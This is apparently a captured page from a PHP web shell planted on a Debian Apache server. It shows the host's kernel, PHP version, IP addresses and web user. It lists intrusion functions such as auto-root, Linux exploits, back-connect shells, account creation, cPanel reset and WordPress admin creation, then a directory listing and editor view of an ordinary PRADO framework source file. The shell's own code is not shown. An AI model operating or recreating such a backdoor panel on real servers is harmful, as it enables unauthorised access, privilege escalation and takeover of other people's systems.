Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.191.171.72
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TCheckBoxList.php
<?php /** * TCheckBoxList class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\TPropertyValue; use Prado\Web\UI\ActiveControls\IActiveControl; /** * TCheckBoxList class * * TCheckBoxList displays a list of checkboxes on a Web page. * * The layout of the checkbox list is specified via {@link setRepeatLayout RepeatLayout}, * which can be either 'Table' (default) or 'Flow'. * A table layout uses HTML table cells to organize the checkboxes while * a flow layout uses line breaks to organize the checkboxes. * When the layout is using 'Table', {@link setCellPadding CellPadding} and * {@link setCellSpacing CellSpacing} can be used to adjust the cellpadding and * cellpadding of the table. * * The number of columns used to display the checkboxes is specified via * {@link setRepeatColumns RepeatColumns} property, while the {@link setRepeatDirection RepeatDirection} * governs the order of the items being rendered. * * The alignment of the text besides each checkbox can be specified via {@link setTextAlign TextAlign}. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 * @method TTableStyle getStyle() * @method TActiveControlAdapter getAdapter() */ class TCheckBoxList extends TListControl implements IRepeatInfoUser, \Prado\Web\UI\INamingContainer, \Prado\Web\UI\IPostBackDataHandler, \Prado\Web\UI\IValidatable { private $_repeatedControl; private $_isEnabled; private $_changedEventRaised = false; private $_dataChanged = false; private $_isValid = true; /** * Constructor. * Remember to call parent implementation if you override this method */ public function __construct() { parent::__construct(); $this->_repeatedControl = $this->createRepeatedControl(); $this->_repeatedControl->setEnableViewState(false); $this->_repeatedControl->setID('c0'); $this->getControls()->add($this->_repeatedControl); } /** * Creates a control used for repetition (used as a template). * @return \Prado\Web\UI\TControl the control to be repeated */ protected function createRepeatedControl() { return new TCheckBoxItem(); } /** * Finds a control by ID. * This method overrides the parent implementation so that it always returns * the checkbox list itself (because the checkbox list does not have child controls.) * @param string $id control ID * @param bool $real * @return \Prado\Web\UI\TControl control being found */ public function findControl($id, $real = false) { if ($real === true) { return parent::findControl($id); } return $this; } /** * @return bool whether this control supports multiple selection. Always true for checkbox list. */ protected function getIsMultiSelect() { return true; } /** * Creates a style object for the control. * This method creates a {@link TTableStyle} to be used by checkbox list. * @return TStyle control style to be used */ protected function createStyle() { return new TTableStyle(); } /** * @return TTextAlign the alignment of the text caption, defaults to TTextAlign::Right. */ public function getTextAlign() { return $this->getViewState('TextAlign', TTextAlign::Right); } /** * @param TTextAlign $value the text alignment of the checkboxes */ public function setTextAlign($value) { $this->setViewState('TextAlign', TPropertyValue::ensureEnum($value, 'Prado\\Web\\UI\\WebControls\\TTextAlign'), TTextAlign::Right); } /** * @return TRepeatInfo repeat information (primarily used by control developers) */ protected function getRepeatInfo() { if (($repeatInfo = $this->getViewState('RepeatInfo', null)) === null) { $repeatInfo = new TRepeatInfo(); $this->setViewState('RepeatInfo', $repeatInfo, null); } return $repeatInfo; } /** * @return int the number of columns that the list should be displayed with. Defaults to 0 meaning not set. */ public function getRepeatColumns() { return $this->getRepeatInfo()->getRepeatColumns(); } /** * @param int $value the number of columns that the list should be displayed with. */ public function setRepeatColumns($value) { $this->getRepeatInfo()->setRepeatColumns($value); } /** * @return string the direction of traversing the list, defaults to 'Vertical' */ public function getRepeatDirection() { return $this->getRepeatInfo()->getRepeatDirection(); } /** * @param string $value the direction (Vertical, Horizontal) of traversing the list */ public function setRepeatDirection($value) { $this->getRepeatInfo()->setRepeatDirection($value); } /** * @return string how the list should be displayed, using table or using line breaks. Defaults to 'Table'. */ public function getRepeatLayout() { return $this->getRepeatInfo()->getRepeatLayout(); } /** * @param string $value how the list should be displayed, using table or using line breaks (Table, Flow) */ public function setRepeatLayout($value) { $this->getRepeatInfo()->setRepeatLayout($value); } /** * @return int the cellspacing for the table keeping the checkbox list. Defaults to -1, meaning not set. * @deprecated use the border-spacing CSS property instead */ public function getCellSpacing() { if ($this->getHasStyle()) { return $this->getStyle()->getCellSpacing(); } else { return -1; } } /** * Sets the cellspacing for the table keeping the checkbox list. * @param int $value the cellspacing for the table keeping the checkbox list. * @deprecated use the border-spacing CSS property instead */ public function setCellSpacing($value) { $this->getStyle()->setCellSpacing($value); } /** * @return int the cellpadding for the table keeping the checkbox list. Defaults to -1, meaning not set. * @deprecated use border-collapse CSS property with its value set to collapse, and the padding property to the <td> element. */ public function getCellPadding() { if ($this->getHasStyle()) { return $this->getStyle()->getCellPadding(); } else { return -1; } } /** * Sets the cellpadding for the table keeping the checkbox list. * @param int $value the cellpadding for the table keeping the checkbox list. * @deprecated use border-collapse CSS property with its value set to collapse, and the padding property to the <td> element. */ public function setCellPadding($value) { $this->getStyle()->setCellPadding($value); } /** * Returns a value indicating whether this control contains header item. * This method is required by {@link IRepeatInfoUser} interface. * @return bool always false. */ public function getHasHeader() { return false; } /** * Returns a value indicating whether this control contains footer item. * This method is required by {@link IRepeatInfoUser} interface. * @return bool always false. */ public function getHasFooter() { return false; } /** * Returns a value indicating whether this control contains separator items. * This method is required by {@link IRepeatInfoUser} interface. * @return bool always false. */ public function getHasSeparators() { return false; } /** * @param bool $value whether the control is to be enabled. */ public function setEnabled($value) { parent::setEnabled($value); $value = !TPropertyValue::ensureBoolean($value); // if this is an active control, // and it's a callback, // and we can update clientside, // then update the 'disabled' attribute of the items. if (($this instanceof IActiveControl) && $this->getPage()->getIsCallBack() && $this->getActiveControl()->canUpdateClientSide()) { $items = $this->getItems(); $cs = $this->getPage()->getCallbackClient(); $baseClientID = $this->getClientID() . '_c'; foreach ($items as $index => $item) { $cs->setAttribute($baseClientID . $index, 'disabled', $value); } } } /** * Returns a style used for rendering items. * This method is required by {@link IRepeatInfoUser} interface. * @param string $itemType item type (Header,Footer,Item,AlternatingItem,SelectedItem,EditItem,Separator,Pager) * @param int $index index of the item being rendered * @return null */ public function generateItemStyle($itemType, $index) { return null; } /** * Renders an item in the list. * This method is required by {@link IRepeatInfoUser} interface. * @param \Prado\Web\UI\THtmlWriter $writer writer for rendering purpose * @param TRepeatInfo $repeatInfo repeat information * @param string $itemType item type (Header,Footer,Item,AlternatingItem,SelectedItem,EditItem,Separator,Pager) * @param int $index zero-based index of the item in the item list */ public function renderItem($writer, $repeatInfo, $itemType, $index) { $repeatedControl = $this->_repeatedControl; $item = $this->getItems()->itemAt($index); if ($item->getHasAttributes()) { $repeatedControl->getAttributes()->copyFrom($item->getAttributes()); } elseif ($repeatedControl->getHasAttributes()) { $repeatedControl->getAttributes()->clear(); } $repeatedControl->setID("c$index"); $repeatedControl->setText($item->getText()); $repeatedControl->setChecked($item->getSelected()); $repeatedControl->setAttribute('value', $item->getValue()); $repeatedControl->setEnabled($this->_isEnabled && $item->getEnabled()); $repeatedControl->setEnableClientScript(false); $repeatedControl->renderControl($writer); } /** * Loads user input data. * This method is primarly used by framework developers. * @param string $key the key that can be used to retrieve data from the input data collection * @param array $values the input data collection * @return bool whether the data of the control has been changed */ public function loadPostData($key, $values) { if ($this->getEnabled(true)) { $index = (int) substr($key, strlen($this->getUniqueID()) + 2); $this->ensureDataBound(); if ($index >= 0 && $index < $this->getItemCount()) { $item = $this->getItems()->itemAt($index); if ($item->getEnabled()) { $checked = isset($values[$key]); if ($item->getSelected() !== $checked) { $item->setSelected($checked); if (!$this->_changedEventRaised) { $this->_changedEventRaised = true; return $this->_dataChanged = true; } } } } } return false; } /** * Raises postdata changed event. * This method is required by {@link \Prado\Web\UI\IPostBackDataHandler} interface. * It is invoked by the framework when {@link getSelectedIndices SelectedIndices} property * is changed on postback. * This method is primarly used by framework developers. */ public function raisePostDataChangedEvent() { if ($this->getAutoPostBack() && $this->getCausesValidation()) { $this->getPage()->validate($this->getValidationGroup()); } $this->onSelectedIndexChanged(null); } /** * Registers for post data on postback. * This method overrides the parent implementation. * @param mixed $param event parameter */ public function onPreRender($param) { parent::onPreRender($param); $this->_repeatedControl->setAutoPostBack($this->getAutoPostBack()); $this->_repeatedControl->setCausesValidation($this->getCausesValidation()); $this->_repeatedControl->setValidationGroup($this->getValidationGroup()); $page = $this->getPage(); $n = $this->getItemCount(); for ($i = 0; $i < $n; ++$i) { $this->_repeatedControl->setID("c$i"); $page->registerRequiresPostData($this->_repeatedControl); } } /** * Wether the list should be rendered inside a span or not * *@return bool true if we need a span */ protected function getSpanNeeded() { return $this->getRepeatLayout() === TRepeatLayout::Raw; } /** * Renders the checkbox list control. * This method overrides the parent implementation. * @param \Prado\Web\UI\THtmlWriter $writer writer for rendering purpose. */ public function render($writer) { if ($needSpan = $this->getSpanNeeded()) { $writer->addAttribute('id', $this->getClientId()); $writer->renderBeginTag('span'); } if ($this->getItemCount() > 0) { $this->_isEnabled = $this->getEnabled(true); $repeatInfo = $this->getRepeatInfo(); $accessKey = $this->getAccessKey(); $tabIndex = $this->getTabIndex(); $this->_repeatedControl->setTextAlign($this->getTextAlign()); $this->_repeatedControl->setAccessKey($accessKey); $this->_repeatedControl->setTabIndex($tabIndex); $this->setAccessKey(''); $this->setTabIndex(0); $this->addAttributesToRender($writer); $repeatInfo->renderRepeater($writer, $this); $this->setAccessKey($accessKey); $this->setTabIndex($tabIndex); } if ($needSpan) { $writer->renderEndTag(); } //checkbox skipped the client control script in addAttributesToRender if ($this->getEnabled(true) && $this->getEnableClientScript() && $this->getAutoPostBack() && $this->getPage()->getClientSupportsJavaScript()) { $this->renderClientControlScript($writer); } } /** * Returns a value indicating whether postback has caused the control data change. * This method is required by the \Prado\Web\UI\IPostBackDataHandler interface. * @return bool whether postback has caused the control data change. False if the page is not in postback mode. */ public function getDataChanged() { return $this->_dataChanged; } /** * Returns the value to be validated. * This methid is required by \Prado\Web\UI\IValidatable interface. * @return mixed the value of the property to be validated. */ public function getValidationPropertyValue() { return $this->getSelectedValue(); } /** * Returns true if this control validated successfully. * Defaults to true. * @return bool wether this control validated successfully. */ public function getIsValid() { return $this->_isValid; } /** * @param bool $value wether this control is valid. */ public function setIsValid($value) { $this->_isValid = TPropertyValue::ensureBoolean($value); } /** * Gets the name of the javascript class responsible for performing postback for this control. * This method overrides the parent implementation. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TCheckBoxList'; } /** * Gets the post back options for this checkbox. * @return array */ protected function getPostBackOptions() { $options['ID'] = $this->getClientID(); $options['ValidationGroup'] = $this->getValidationGroup(); $options['CausesValidation'] = $this->getCausesValidation(); $options['ListName'] = $this->getUniqueID(); $options['ItemCount'] = $this->getItemCount(); return $options; } }
Close